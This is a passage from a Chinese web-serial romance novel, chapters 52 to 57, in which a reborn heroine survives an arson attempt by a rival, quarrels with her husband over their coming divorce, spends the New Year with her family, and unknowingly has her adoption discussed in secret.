“苏语安,你冷静一点……”
……
陆为谦的车子开过这间废弃的工厂时,无意中往里瞥了一眼。
有灯光。
一个废掉的厂房,为什么会有灯光?
难道,里面有人?
有风吹过,浓烈的汽油味,令他心神不安。
这附近并没有加油站,怎么会有汽油味?
第52章 他用大衣护住了她
陆为谦又将车子倒了回去。
停好后。
他便下了车。
越是靠近厂房的大门,汽油的味道越是浓烈。
平白无故的,这汽油味有些不正常。
他小心翼翼地靠近门口,透过缝隙……
“宋南伊,你去死吧……”苏语安将点着的打火机,准备扔到宋南伊的身上。
陆为谦眼眸一骤。
猛地推开了生锈的铁门。
“住手。”他大喊一声。
苏语安没想到,有人会来,明显有些慌乱,“陆为谦?你怎么找到这儿的?你别过来。”
指尖的火机还在燃烧着。
只要稍微有一丝的偏差。
就会引燃宋南伊身上的汽油。
“苏语安,你冷静一点,宋南伊她跟你无怨无仇,你何必要这样对她呢?你放下火机,有条件,你可以提。”
陆为谦小步挪着。
一边走,一边解开了大衣的扣子。
苏语安瞪向他,喝斥,“你给我好好站那儿,陆为谦,我告诉你,宋南伊是必需要死的,你要想跟她一起死,我也不反对。”
“陆律师,苏语安已经疯了,你别过来,这边危险。”
宋南伊已经死过一次。
她不想死的时候,再拖累别人。
尤其是陆为谦,他是真心实意帮过她的。
陆为谦眼神坚定。
人,他是一定要救的。
无论付出什么代价。
“听我说,苏小姐,没什么比生命更重要的。”他小步挪着,离宋南伊越来越近,“杀死一个人很容易,可是你能安心吗?就算你能安心,警察能放过你吗?你还这么年轻,何必把人生走进死胡同呢。”
苏语安捂着耳朵,不想听。
这个男人的出现,打死了她的计划。
不,她不允许任何人打断她的计划。
眼眶泛红,怒火中烧,她毫不犹豫地再次按下打火机。
这次一点反应也没有给陆为谦,直接扔向了宋南伊。
顷刻间。
空气凝固。
千钧一发。
陆为谦利落地脱下自己厚重的大衣,如同一张保护伞,将宋南伊紧紧包裹其中。
火机掉落。
迅速点燃了地面上的汽油。
猛然间,火苗蹿升,烧到了他的小腿与手掌,带来一阵锥心的灼痛。
陆为谦小心翼翼地抱起宋南伊,转移到安全的地方。
“陆律师……”宋南伊注意到他受了伤,“……你的腿……”
“我没事。”
陆为谦一步步地走向苏语安。
汽油卷着火苗,即将要流淌到宋南伊的面前。
她害怕,移动着,却因为被椅子捆绑,行动十分的困难。
苏景晨跑过来,为她松了绑。
“姐姐,你快走。”
苏语安脸色骤变,绝望之中,她抓起汽油桶,不顾一切地朝陆为谦身上泼了过去。
她企图让这火势更加肆虐。
陆为谦反应迅速,抬手阻挡了她的动作。
残余的汽油,顺着苏语安的胳膊和手腕,缓慢的流淌。
厂房里的火势越来越猛。
意识到自己精心策划的一切,即将化为泡影。
苏语安疯狂的嘶吼,“陆为谦,你真是多管闲事,多管闲事的人,都得死。”
“苏语安,你现在收手还来得及,要是一会儿,霍时序来了,你就必死无疑。”陆为谦想叫醒她。
已经走火入魔的人,怎么肯醒过来。
她猩红着眼睛,“要死,也得你们先死。”
焦灼之际。
大门被推开。
一阵冷风贯入。
霍时序走了进来。
苏语安松开陆为谦,踉跄的后退了两步,引火烧身,“时序哥,救我,救我……”
霍时序看到身上起火的苏语安。
急忙上前,将火扑灭。
她的手腕被严重的灼伤,惨不忍睹。
“时序哥,我刚刚……”苏语安先发制人,扑进了霍时序的怀里。
她颤着指尖,指向陆为谦和宋南伊,“……他们,他们……”
霍时序凛冽的目光,落到了陆为谦和宋南伊的身上。
大概是确认了一下,宋南伊没事后。
这才看向怀里的女人。
“怎么回事?”
“我是,我是……时序哥,我好痛啊,你带我去看医生好不好?时序哥……”
霍时序看了一眼苏语安伤势,打横将她抱起,“陆为谦,你把南伊送回家,我先带她去医院。”
陆为谦出声想叫住他,被宋南伊拦下了,“他的眼里只有苏语安,这次,就是他让苏语安……”
她突然不想说了。
两世都被同一个人,害到这样。
痛到最痛,其实是没有感觉的。
她踉跄着往外走,月光洒进来,清冷幽静。
“陆律师,你看,今晚的月亮多圆多亮啊。”
眼角热热的。
她抬手掩了一下。
挺没出息的,都被伤到这么多次,还掉泪。
“南伊,时序他是担心你的。”
陆为谦想为霍时序说几句好话。
但宋南伊不想听。
前世,他也这样绝决地将她抛下。
他是想让她死的。
无论前生还是今世。
“陆律师,我们回去吧。”
苏景晨追了出来,“姐姐。”
宋南伊驻下,回眸看向他。
男孩眼中是明显的愧疚和抱歉。
半晌挤出一句,“对不起,姐姐。”
宋南伊说不出没关系。
清冷的收回视线,淡漠离开。
……
医院里。
医生为苏语安处理了手腕及小臂上的烧伤。
霍时序的脸色墨黑。
苏语安一脸的苍白。
试图用脆弱,掩饰她刚刚犯下的罪恶。
“为什么你会出现在那儿?”霍时序冷声质问。
苏语安想逃避。
眼眶里满是泪水,我见犹怜。
“时序哥,我好痛哦……”
江淮推门走进来,给霍时序看了一段视频监控。
影像不算很清楚,上面的人捂得也很严实,一路的跟踪到路的尽头。
有一帧画面,隐约看到一个人背影,很像苏语安。
霍时序脸色瞬间变冷。
他抬手握住了女人的脖子,几乎要将她掐断。
“你好大的胆子,敢绑架宋南伊?”
苏语安被掐得脸色发紫,她疯狂地摇头,“不是我,真的不是我……”
“不是你,是谁?”
他没想到,这个女人在他眼皮底下,做出这种事情。
罪不可赦。
她拼命地拍打着霍时序的手背。
再一会儿,她就要死掉了。
“时序,时序哥,你听我解释,真的,真的不是我……”
霍时序阴着脸,最终将手腕松开,咬着牙根,“你好好跟我解释。”
“是,是,南伊姐她,她自导自演的,她想在你们离婚的时候,让我出庭作证,说是跟你有……不可告人的关系,好让她在离婚的时候,占尽上锋,从而拿到更多的财产……”
苏语安轻轻的握住了霍时序的手腕,泪流满面,“时序哥,我怎么可能这样做嘛,可是南伊姐太激动了,她又要放火,又放言要杀了我……如果不是你及时赶到,我,我,我怕是已经死掉了……”
第53章 抱起自己的枕头
苏语安谨慎地观察着霍时序的微表情。
他的脸色确实很难看。
也没到了完全信任她的地步。
“苏语安,要是让我发现你在说谎,我不会对你客气。”
“时序哥,不信,你就去问南伊姐,我这么胆小,怎么会做伤害别人的事情,我已经尽力保护自己的身体……时序哥,这次我伤得这么严重,阿姨那边恐怕是……”
霍时序没说话。
只是淡冷地瞥了他一眼。
很快离开了病房。
往家走的路上。
霍时序一言不发。
江淮不确定,苏语安说的是不是事实,“霍总,苏小姐的话,可信吗?以我对太太的了解,她不像是能做出,那么疯狂事情的人来啊?难道,她真的为了多分财产就……”
就为了多分财产,就让人做伪证?
宋南伊可是受过高等教育的,怎么想都不可能。
霍时序捏着眉心。
他现在对宋南伊并不了解。
尤其是,她和霍时序沆瀣一气以后,他更不知道,她心里到底在想什么?
“也许是陆为谦,为她出的主意,也不一定。”
江淮也不好说什么。
陆为谦是律师,就算是想出馊主意,也不好这么明目张胆的。
总之。
疑点很多。
车子穿过江城大道。
一路东行,回到老宅。
宋南伊刚刚洗掉了一身的汽油味。
这场绑架,令她心有余悸。
如果苏语安真的点燃了身上的汽油,那她死的得比上一世还要惨。
幸好,陆为谦及时出现。
思前想后的,她还是决定要报警,坏人不能给她机会。
刚拿起手机。
号码还没的摁完。
卧室的门就被打开,霍时序一步迈了进来。
他的脸,如同六月的天气,荫翳中透着沉闷和怀疑。
她望向他。
不卑不亢的。
“今晚上,你为什么会出现在那里?”他口气生硬。
他在质问她。
用并不柔软的语气。
宋南伊猜,应该是苏语安跟他讲过什么了。
他才这样的。
挺好笑的,他已经无条件相信苏语安,到了她说什么,他就信什么的地步。
“正好我要报警,你有什么想不明白的,可以找警察了解。”
她摁了110,在要拨出去的时候。
手机被男人抽走,重重地撂到一旁。
“我想听你解释。”
他睨望着她。
那样子,像在看一个罪犯。
她受够了,他这副不分青红皂白,就来找她麻烦的样子。
明明,今天受伤害的是她。
差点,被焚烧的也是她。
在他眼里,她却成了伤害别人的那个。
“我对你,没什么好解释的。”
抱起自己的枕头,准备去客卧去睡。
经过他身旁时,霍时序握住她的胳膊,扯了回来,“逃避没用。”
他垂眸。
每根睫毛都透着不容置喙。
“你到底想听什么?”
“你为什么会出现在那儿?为什么陆为谦,那么轻易的就找到了你?宋南伊,你到底和陆为谦在搞什么阴谋?”
她笑了。
很冷。
眼中尽是陌生,“霍时序,别倒打一耙了,你按的什么心,我比任何人都清楚。”
他从未在意过她。
他只想把她置于死地。
前世是。
这世还是。
“霍时序,我们就这样吧,不要再追究什么,我想平静的,过完这个年,我想好好的陪陪我的父母,我没有精力再跟你,纠缠对错,也不值得。”
霍时序沉默着。
久久不语。
她根本就不知道,他开着车,如何在路上狂奔。
她更不知道,他已经把最坏的结果想到了,眼眶里的泪如何的止不住。
他不想,到头来,迎接他是一场精心策划的阴谋。
他只想要一个解释。
只要她说,他就信。
可她……偏偏不说。
“然后呢?”他苦笑着。
宋南伊平静地望向他,唇角微微勾起,“过完年,我们就要聊离婚的事情了,我很期待。”
“如果我改变主意了呢?”
“那就同归于尽吧。”宋南伊的心已经碎得再也拼不起来。
死,对于她来说,并不可怕。
她怕是无止境地面对霍时序。
她不要看到他,一天一刻,一分一秒都不想。
男人笑了,清冷嘲弄,“果然变了心的女人,比冰块还要冷。”
……
病房里。
护士正在为陆为谦换药。
宋南伊敲了敲门,走了进来,“陆律师。”
“南伊。”陆为谦怕吓着宋南伊,将烧得惨不忍睹的手腕,藏了起来,只有无法弯曲的手指,在外面,由护士包扎。
“抱歉,昨天晚上,我应该陪你来医院的,当时……”
“我理解的,你吓坏了,昨天晚上没有做噩梦吧?”陆为谦依旧温和,很会照顾她的情绪。
她越发地觉得亏欠,“我还好,你这伤……”
护士包扎完走出病房。
陆为谦笑笑,“没事,不影响。”
宋南伊注意到,他不止伤到了手腕,手指,还有小腿部分,也缠了厚厚的纱布。
她没有想到,那么危险的时候,陆为谦为那样舍命地救她。
她欠他的救命之恩。
不知道什么时候,才能还上。
“陆律师,我留下来照顾你吧。”她想尽尽自己的心意。
陆为谦轻轻地摇头,“我可以自理,你也不必太放在心上,快过年了,好好的跟家人团聚,我听我姐讲,你可以接你妈妈回家过年,她的身体对药物的反应不错的。”
母亲的病。
是宋南伊最大的心事。
陆蔓的实验室,把母亲照顾得很好。
她是感激的。
“年是要过的,这跟照顾你,不冲突。”她坚持。
陆为谦还是拒绝了。
宋南伊现在还是霍时序的妻子。
在医院里,照顾丈夫以外的人,难免会让人诟病。
他不想让她的行为,留下污点。
“南伊,你的心意我领了,如果你真想过完年,顺利的离婚,这个年就好好的陪陪家人,也要把霍家的脸面做足了,你懂的。”
她懂。
给了他一抹艰涩的笑。
“陆律师,谢谢你,一直为我着想。”
“你是我的当事人,为你着想,是应该的。”他不想把自己内心的爱意,表达出来。
现在还不是时候。
他在等。
等她恢复单身。
这一天很快就能到来。
宋南伊陪陆为谦聊了会儿天,便起身告辞。
一走出病房的门。
就看到了站在门外的霍时序。
“你跟踪我?”她皱眉。
男人满是嘲弄地勾起唇,“我要不跟踪你,我哪知道,我的太太,想要在医院里照顾,别的男人?”
太太?
这个称呼听得宋南伊反谓。
如果他肯把她当成他的太太。
怎么会处心积虑的,想要害死她。
他玷污了婚姻。
“苏语安想要烧死我,陆律师救下了我,我照顾他,到底哪一点不应该?”
第54章 上嫁
霍时序眉心收紧。
烧死她?
苏语安?
找到她时,宋南伊身上确实浇透了汽油,是苏语安做的,还是宋南伊自己导演的?
如果是苏语安干的,那她为什么要烧死宋南伊?
“你说清楚一点?”
宋南伊不知道霍时序在装什么。
明明就是他授意的。
这么恶毒,扭头还装上无辜了。
“我累了,回去了。”
宋南伊和霍时序,一点沟通的欲望都没有。
男人没有得到自己想要的答案,冲她背影喊话,“宋南伊,有话你就说清楚,说清楚很难吗?喂,逃避就能解决问题吗?你不觉得我们之间,需要好好的谈一次吗?”
他很无力。
他到现在,也搞不清楚,他到底是哪里做错了,让她这样奋然地想要离开。
他们的感情,真的覆水难收了吗?
看着宋南伊离去的背影。
他眼眸深邃……
……
新年的前三天。
宋南伊将南微接回了家中。
宋知令和宋星言忙着贴春联。
宋南伊则在客厅里挂一些,喜庆的小装饰。
霍时序不请自来。
江淮一趟一趟地往家里搬礼品。
天上飞的,海里游地,土里长的,要多珍贵有多珍贵。
“妈,这些都是给你补身体的,我听说,你的病,治疗的效果还不错,希望您早点好起来。”
霍时序难得这样,有礼貌的好好说话。
伸手不打笑脸人。
南微虽然对他有意见,但面上,并未表现出来,“有心了。”
“我和南伊结婚三年,她都没有回家陪你们过一次年,我真觉得挺抱歉的,今年,我决定跟她一起,陪你们二老一起过年。”
南微错愕。
有女儿陪着,那是天伦之乐。
多一个不待见的女婿,这年过得有什么意思。
“你的心意我们领了,你肯让南伊陪我们一起过这个年,我们已经很高兴了,你是家里的独子,爷爷年事已高,应陪在老人身边才是。”
用词委婉。
实则,把他拒之门外。
霍时序吃了瘪。
面子上过不去,又不敢黑脸,“妈也是为我好,那我听妈的。”
宋星言跑进来。
差点撞到宋南伊。
“你慢点,腿好了是不是?你吃过那么大的亏,怎么还不长记性,你再给我跑一个试试?”
宋南伊拿起鸡毛掸子。
吓得宋星言躲到了霍时序的身后。
“姐,你现在,一点都不温柔了?”
“温柔有用吗?”温柔就是软弱的平替,“你给我听好了,以后姐姐不在,你就得照顾爸妈,首先得有一个好的身体,再敢行事莽撞,我就收拾你。”
“知道了,姐。”宋星言跑上了楼。
宋南伊这才丢下手中的鸡毛掸子。
“他还只是个孩子。”霍时序说。
宋南伊粗淡地瞥了他一眼,一言不发地上了楼。
霍时序没讨到任何一个人的好脸。
情绪有点上头。
宋知令走进客厅,敏锐地察觉到了,霍时序的脸色不对劲。
他对这个女婿,挺失望的。
当初他要娶宋南伊的时候,人人都说宋家攀上了高枝。
宋南伊是上嫁。
将来有享不尽的荣华富贵。
或许前三年是这样的吧。
那时的霍时序确实对宋南伊,百依百顺,宠到心尖上。
现在呢。
他除了在女儿眼中看到眼泪和失望,什么都没有。
可他也是个男人啊。
从一而终其实不难的。
但霍时序没有做到。
“时序,你先回去吧,今天家里忙着打扫收拾,实在是腾不出时间来……”
宋知令的话只说了一半。
另一半的意思也是赶人。
霍时序心知肚明。
他不好变脸,抿唇笑着装不在意,“还以为,我可以帮上什么忙,既然如此,那我就先回去了。”
出来,坐进车里。
他气,相当的不顺。
“你说,现在宋家是不是,已经不当我是他们家的女婿了?”他问江淮。
江淮不好回答。
想必是发生了什么不愉快的事情,“霍总,宋家人对您不敬了?”
“我算个什么东西,他们根本没把我放在眼里。”霍时序松了松领带,心中仍然有气,“现在陆家成了他们的大恩人了,又是救老的,又是救小的,我呢?”
江淮:……
霍时序扭过脸,看向他,“真把我惹极了,我就把宋南伊送到国外,我看她还跟我离不离。”
“使不得啊霍总。”江淮惊呼,这样做的话,夫妻情分,也就真的没了,“您要是真不想离,就跟太太,好好的坐下聊聊,把误会聊透就好了。”
“她现在心里只有陆为谦,她愿意跟我聊吗?我跟她讲过多少次,要好好聊,好好聊,她听得进去吗?”
不行。
他快要被气得猝死了。
“回家,回家。”
“好的,霍总。”
……
大年夜的霍家老宅。
丝毫没有新年的喜庆。
灯笼没挂。
彩灯也没有扯。
往年,这些事情,都是宋南伊指挥家里的佣人,来做的。
今年的餐桌上,少了个人。
“这南伊也太不懂事了,哪有回娘家过年的,时序,你给她打个电话,让她赶紧回来,这成什么体统。”
孙爱芸不满地说着。
霍时序没说话。
霍正诚沉声道,“她要是在这儿,过得开心,会跑回去过年吗?”
“爸,这不管开不开心,结了婚的媳妇,回娘家过年,总是对婆家不吉利的。”孙爱芸从桌底下捅了霍明达一下,让他说话。
霍明达:“确实是。”
“确实个屁。”老爷子最近没有管家里的事情,不代表他什么都不知道,“你答应我,要处理那个苏语安,处理了吗?”
霍明达沉默不作声。
老爷子动怒,转头问向霍时序,“你呢?做好离婚准备了吗?”
霍时序也没敢说话。
霍正诚冷哼。
重重的拍了桌子两下,“这个家里,被你们这些不成器的不肖子孙,搞的乌烟瘴气,连个媳妇都留不住,这才是最不吉利的。”
“爸,这说来说去,还不是南伊不懂事。”孙爱靶既想为霍明达说话,也想为霍时序撑撑脸面,“我听说,她跟陆家的陆为谦搞到一起了,这婚不是还没有离吗?真是有伤风化。”
“你抓奸在床了?”老爷子瞪起眼睛,“没有证据的事情,就不要乱讲。”
孙爱芸,吓得缩起脖子。
老爷子看着桌上这三个人,就来气。
全无胃口。
“现在这个家,都成什么样子了?你们一个个的……”
老爷子气得直捶胸口。
陈伯赶紧扶他回房休息。
霍正诚前脚离开。
霍时序后脚冷着脸,拎起外套,离开了老宅。
孙爱芸,看着这一桌子的菜,无语,“这总不能因为一个不回家的媳妇,就不过年了吧?”
第55章 我只爱你,且只爱过你
霍时序驱车驶向宋家。
宋家的别墅所在的街区,与霍家老宅截然不同。
少了静谧与不可靠近,多了几许人间烟火。
正值年关,街区洋溢着浓浓的节日氛围。
家家户户高挂彩灯,流光溢彩。
车轮碾过路面,鞭炮燃放后的纸屑,红艳艳的。
这一切,似乎与他无关。
眼神落脚的地方,是宋家门口的大红灯笼。
格外的红。
格外的喜庆。
与他悲凉的心情,形成了鲜明的对比。
“姐,我这个好看,有趣,像只火老鼠。”
宋星言的笑声悦耳,手中的荧光棒轻轻触碰着宋南伊手中的那一支,二人嬉笑着,简单而温馨。
霍时序不知道是嫉妒,还是羡慕。
眉心皱起的地方,拧着令人揣摩不透的情绪。
好像,好久,他都没有见到宋南伊笑了。
她笑起来的样子,漂亮得像童话里走出来的仙女。
而此时的他,更像一个偷窥者。
她的一切仿佛都不属于他。
现在,又或是将来。
暗夜中,他的眸子沉如雪。
不知道在车里呆了多久,宋星言终于发现了他。
“姐,那车是不是姐夫的,他怎么来了?大过年的,他不陪家里的长辈守夜吗?”宋星言满眼的不解。
宋南伊刚刚的好心情,一扫而光。
她是不怎么想在这么一个开心的时候,见到霍时序。
但她又怕,霍时序大过年的,过来找不痛快。
便对宋星言说,“你回去吧,我去问问他。”
“哦。”
在原地沉顿了一会儿。
宋南伊这才走了过去。
她轻轻地敲了敲车窗,“喂?”
车窗落下。
是霍时序略显疲惫的脸。
“大年夜,你不在老宅,跑到这儿干什么?”
霍时序轻轻地笑了,看向女人眼神透着一些暧昧,“想你了。”
宋南伊:……
她不是男人,无法理解,一个男人,一边搞的外遇,一边跟自己的结发妻子表白,到底是种什么样的心理。
就是听的恶心。
对视中。
霍时序抬手抚向她的小脸,“南伊,我们什么时候,变得这么陌生了?”
这话。
刺痛了宋南伊心底那块,最不为人知的地方。
有一种往事不可追忆的,悲凉。
“你知道吗?今年没有你,爷爷不高兴了,父母的怨言也多了,家里冷冷清清的,一点过年的氛围也没有。”霍时序深呼吸,“南伊,我真的好想好想,跟你一起守夜,给你一个厚厚的压岁红包,共同迎接新的一年。”
“别说这些。”
她不喜欢听他,虚伪地表白。
杀死她的真心,杀死她的喜欢,杀死她的忠诚,杀死她。
他做了这么多的恶。
只言片语,就想回到过去,可能吗?
“陪我呆一会儿吧,就一小会儿,行吗?”他乞求,很是卑微。
宋南伊是不想的。
但又怕他找麻烦。
总归是大年夜,她不想晦气。
“半个小时吧。”她说。
“好。”
车里。
暖气开得很足。
她坐在副驾驶,紧靠着车门,身子疏远。
“南伊,还记得我们小时候第一次见面,我对你说了什么吗?”
宋南伊当然记得。
那时,霍时序九岁,她六岁。
第一次见面,他就抱住了她,“你长得真漂亮,长大了我要娶你。”
小小的宋南伊吓坏了。
猛地把霍时序推了出去,“我才不要嫁给你,长大了,我要嫁给白马王子。”
“不,你长大了只能嫁给我。”小小的霍时序,目光坚定,霸气十足,他拍着胸膛,“我会变成白马王子的,王子和公主,最后会幸福快乐的生活。”
小小的宋南伊笑了。
笑他像个傻子。
睫羽微垂。
这些美好的回忆对宋南伊来说,是精神上的凌迟。
“记得怎样?小孩子说的话,怎么能当真呢。”
“我的心,从来没有变过。”他侧过脸来,看向女人,“南伊,我们之间有太多的误会了,我和苏语安的关系,根本不是你想的那样,我只爱你,也只爱过你一个人。”
宋南伊涩笑。
这种瞎话,他敢说,她都不敢听。
“够了,霍时序,我希望,我们能体面地分开,而不是活在这些,虚构的甜言蜜语之中。”
如果他真的爱她。
前世,他怎么舍得不救她。
他不爱啊。
只是现在,她和陆为谦走得太近。
他想争回她的所属权罢了。
“霍时序,别再营造你爱妻的人设了,这世个离婚的人多了去了,从爱到不爱,只要做到互相尊重的分开,不丢人,不是吗?”
他长长地呼出一口气。
宋南伊不爱了,她当然可以接受离婚的后果。
他不一样。
他还爱着。
“什么时候爱上他的?”他闭着眼睛问,像在逃避某种东西。
宋南伊不想回答,这种臆想中的问题。
淡淡的,“霍时序,我们之间的事情,何必人扯个第三者呢?我不想因为我们的关系,导致你和陆律师的关系破裂。”
“已经破裂了。”他缓缓掀起眼皮,似笑非笑地看着宋南伊,“确实是,因为你。”
宋南伊看向他,他为什么这么说。
是想让她有罪恶感?
在这段婚姻中,最罪恶的不是他吗?
她深深深呼吸,“看吧,霍时序,我们总是这样,话不投机半句多,这并不是婚姻的正常状态,别说什么你爱我,爱不是这样的。”
“是我变了?”他唇角依然有不明的深意。
宋南伊冷着小脸,“或许,我们都变了。”
“我能要一个机会吗?”他目光灼灼,透着深情,“你说过,如果我犯了错,你会给我三个机会,只有机会用完了,你才会惩罚我,忘了吗?”
宋南伊笑了。
像看个笑话般的看着他,没来由的激动了起来,“霍时序,我说的机会,不包括背叛,不包括见死不救,更不包括,你雇凶杀人。”
男人眉心拧起。
他听不懂宋南伊在说什么。
“什么见死不救,什么雇凶杀人?你到底在说什么?”
看吧。
这就男人。
永远不会承认的。
他永远不会了承认,自己做过的卑鄙事情。
“怎么?我说错了吗?你以为我为什么会出现在那个废弃的厂房?你以为我,那么晚下了班不回家,自编自导的演上戏了?把汽油浇在自己身上?自焚吗?霍时序,脑子是个好东西,看来你没有。”
霍时序似乎明白了。
但又不确定,“你是想说,是苏语安绑架了你?”
第56章 她不是亲生的
当时,找到宋南伊时,看到苏语安出现在那儿,他也是怀疑的。
一直以来的纵容,这是让她恃宠而娇,毫无底线了吗?
宋南伊不知道,他故作惊诧地干什么。
这戏演得,像在国外拿过奖似的。
“不是你让她绑架的我吗?不是你让她烧死我的吗?霍时序,别装了,累不累?”
他盯着她掺了血的眸子。
目光深沉。
如果她所说的是真的,那苏语安确实在做一件,不可饶恕的事情。
眼下,他想做的,就是解释。
“我没有让她做这些。”
宋南伊冷笑。
他还是承认。
大过年的,她没心情跟他掰扯这事。
“不重要了。”她打开车门,准备下去,“半个小时了,我回去了,你也回老宅吧。”
“南伊。”他不舍得让她走。
但好像,也没有留她下来的理由。
“如果,我是说如果,如果我们过完年,真的离婚了,你会觉得遗憾吗?”
宋南伊冲他嫣然一笑,“我会觉得是解脱,霍时序,你知道吗?你是唯一放弃我生命的人,我永远不会原谅你。”
宋南伊走了。
他望着她的背影呢喃。
放弃过她的生命?
他怎么会放弃她的生命。
她的命,比他的还要重要。
……
霍时序开车离去。
墨色的劳斯莱斯,开进了医院。
刚刚停好。
江淮便走了过来,“霍总,苏语安不见了,我也是拿不定主意,所以才请您过来的。”
“没事,反正今晚的年夜饭,不吃也罢。”
霍时序大步在前面走。
江淮跟在后面。
找医生问了情况后,调取了医院的监控,看着视频里的两个人。
霍时序的神态平静。
江淮认出了,视频里的那个男孩。
是苏语安的弟弟。
当初苏语安被霍时序救助的时候,她是带着谎言的。
如果,不是她的血有用。
压根没人陪她演,家破人亡的剧情。
“霍总,我觉得这个苏语安,满嘴的假话。”虽然他们知道关于她的任何事情,但她却从未诚实地讲过,“您说,她隐瞒自己有家人这事,到底是为什么了?”
霍时序轻笑,“你猜呢?”
江淮摇头,“我也不知道,难不成,她身上有什么不可告人的秘密?”
男人目光幽暗。
抛开苏语安的用处,她这个人对他来说,可有可无。
他忽略了她的危险。
比如,她竟然要烧死宋南伊。
霍时序起身。
江淮立马跟了上去。
快走到车旁时,男人突然转身说,“南伊失踪的那天……,你去找苏语安的弟弟,他应该知道真相。”
“好的,霍总,我马上去办。”
“倒也不必马上,回家先把年夜饭吃了。”
江淮搔了搔头发,“霍总,您这话说的,我家人又不在江城,我已经三年没回过家了,要不……咱俩一起跨年?”
“你想的美。”
霍时序弯身坐进车里,系好安全带,看向江江淮说,“实在不行,就找个女朋友吧。”
“霍总,您都要离婚了,我这女朋友,还是不找了吧。”
霍时序:……???
江淮咧嘴笑了笑,“霍总,路上开车慢点。”
……
宋南伊开心陪家人跨年。
宋知令和南微,为她和宋星言准备了一个很大的红包。
“祝你们年年有今日,岁岁有今朝,开心,健康,平安。”
姐弟两人齐唰唰地磕头,“谢谢爸爸妈妈。”
南微很满足地微笑着。
眼底却有一丝不易察觉的忧郁。
她看了宋知令一眼。
二人便回了卧房说话。
“知令,我们要不要告诉南伊,她的身世?”
虽然她现在在接受治疗。
但是她自己的病,自己知道,好转是有,但想变成一个健康的正常人,很难。
微微叹息。
这是她临死前的愿望。
“知令,我知道你们一直希望我好起来,活下去,但是,我这胃啊是老毛病了,我已经做好了心理准备,这几天,我一直在想,要不要告诉南伊,她……不是我们亲生的。”
“当年,我们的女儿出生后,就夭折了,是上天将她送到我们身边,她长得跟我们很像,血型都是一样的,是她圆了我们的女儿的梦,这么多年来,我们视如己出,想看她幸福,健康,快乐的,过好她的人生,我们就知足了。”
“但是,知令,她有权利知道自己的身世,我们不能那么自私,就算是她的亲生父母不要她,她也有权利知道其中的缘由对吗?”
南微紧紧地握着宋知令的手。
她肯切地望着他。
宋知令比她更爱宋南伊。
更怕给女儿带来伤害。
“微微,这事……要不,等等再说吧,她现在要跟霍时序离婚,每天焦头烂额的,如果告诉了她这事,我怕她……我答应你,会找合适的机会,告诉南伊,好吗?”
南微理解地点头。
轻轻地投进了宋知令的怀里,“知令,我好遗憾啊,不能陪你到老,不能看到南伊她生孩子,我等不到做外婆的那天了……”
“别瞎说,我们积极治疗,一定会好起来的。”宋知令眼眶泛红。
门外。
端着水果,刚要送进卧室的女人,
悄然转身……
……
初一一早。
宋南伊回了老宅。
拜年的程序是要走的。
她不想听到霍家人的嘴里,说她的父母没有教好。
“爷爷,新年好。”
“爸爸,妈妈,新年好。”
与往年一样,她跪下磕头。
霍正诚的脸色,总算有了缓和,递出早就准备好的红包,“南伊啊,你父母可好啊?”
“爷爷,爸妈很好,托我问您过年好呢。”
孙爱芸不情不愿的,将红包给了宋南伊,“南伊啊,回娘家过年这么大的事情,以后可要三思而后行,毕竟,霍家没有这样的先例。”
“这大过年的,指责儿媳妇,也没有这样的先例。”霍正诚不喜欢这样的氛围,四下看了一眼,“时序呢?怎么不来拜年?”
“爸,昨天晚上,时序回来的时候,喝多了,应该还在睡着吧,我这就叫他去。”
孙爱芸扭着腰肢,往外走。
霍正诚看向地上跪着的宋南伊,“起来吧,今天是新年的第一天,一会儿,你和时序去给叔叔伯伯们拜个年,别丢了礼数。”
“知道了,爷爷。”
当一天霍家的媳妇。
撞一天钟的道理,宋南伊还是懂得。
孙爱芸没叫动霍时序。
她鼻子不鼻子,脸不是脸的,冲着宋南伊说话,“时序说,让你过去,赶紧的把他叫起来吧,都几点了,拜年都是有时间的,晚了,多没礼貌。”
第57章 我想见你
宋南伊站在卧室的门,轻轻地敲门。
门虚掩着。
她推开,昨晚的酒气,扑面而来,令人不适。
“霍时序。”她叫他。
男人搭在额头上的手臂,微微动了一下,“今天不去拜年了,我有更重要的事情要做。”
“那你自己跟爷爷说。”宋南伊刚好也不愿跟他,在人前装恩爱。
说着。
宋南伊扭头就要走。
男人的声音,从身后幽幽地传过来。
“下周一,我们坐下来聊,离婚的事情,你跟陆为谦说,准备好对你们有利的东西。”
宋南伊的后背一僵。
霍时序主动地提及了离婚的事情。
是不是代表着,他已经同意了?
拼命地压下心底的雀跃,宋南伊平静地嗯了一声,“下周一什么时候?在哪儿谈?”
“上午八点,就在他的律师事务所。”
“好。”
宋南伊没有想到,这一天到来的这么快。
满打满算的,还不到三个月。
希望,他能说到做到。
宋南伊离开后。
霍时序洗了澡,换了件衣服,出了门。
路上,他给陆为谦打了个电话,约见一面。
地点,在他们初中是经常打篮球的,那个操场。
不是想叙旧情,就是觉得,有些感情,是时候划上句话了。
站在操场上。
望着朝气蓬勃的孩子们。
仿佛,是那时的他们。
“陆为谦,还记得我们初三那年的约定吗?”
陆为谦眼眸深沉,“那时我们都要奔赴不同的国家念书,我们约定着再见面时,把彼此的女朋友介绍给对方,我们要一起结婚,一起生子,一起给孩子们订娃娃亲,我们要做一辈子的好兄弟。”
霍时序低头拢着风,点了根烟,“可是你失约了。”
“人总是会变的,你对别人,何曾不是呢。”他看向男人,情绪复杂。
霍时序轻笑着,吸了口烟。
凛冽的寒风吹过。
他眉眼染上了一层冰霜。
“我和南伊之间,无论发生什么,也不是你插足的理由。”
陆为谦没有解释。
只是重新望向了,操场上那群打篮球的孩子。
“是你先变了心。”
霍时序吸了口烟,将烟卷扔到脚下碾灭,“这都不是理由,我想,我们需要用时间和能力,来决定,谁的爱才是正确的。”
陆为谦看向他。
霍时序发出了挑战书。
江城的商界,在所难免的会有一场腥风血雨。
不关乎别人。
只关乎陆家。
“你这么做,只会让南伊更恨你,何必呢?”
“恨我?”他笑了,“那我们就拭目以待吧,希望你能押对。”
离开时,他对陆为谦又补了句,“下周一,我会去你和律所,谈我和南伊离婚的事情,同样,希望你准备周全。”
望着霍时序离开的背影。
陆为谦眼神有些凌乱。
他不认为,霍时序会真心实意要与宋南伊和平离婚。
或许,起诉离婚,是最终的结局。
……
如果霍时序的报复,非要定一个基调,那就是夺妻之仇,不共戴天。
新年的第三天。
霍氏开始了疯狂的吞并计划。
宋南伊是从父亲那里得知到的信息。
她不知道霍时序,又在发什么疯。
霍陆两家,一直都在不同的领域生根发芽,所属的行业不同,根本没有生意的冲突。
他这是要干什么?
手机响起。
宋南伊看了一眼,是陆蔓的电话。
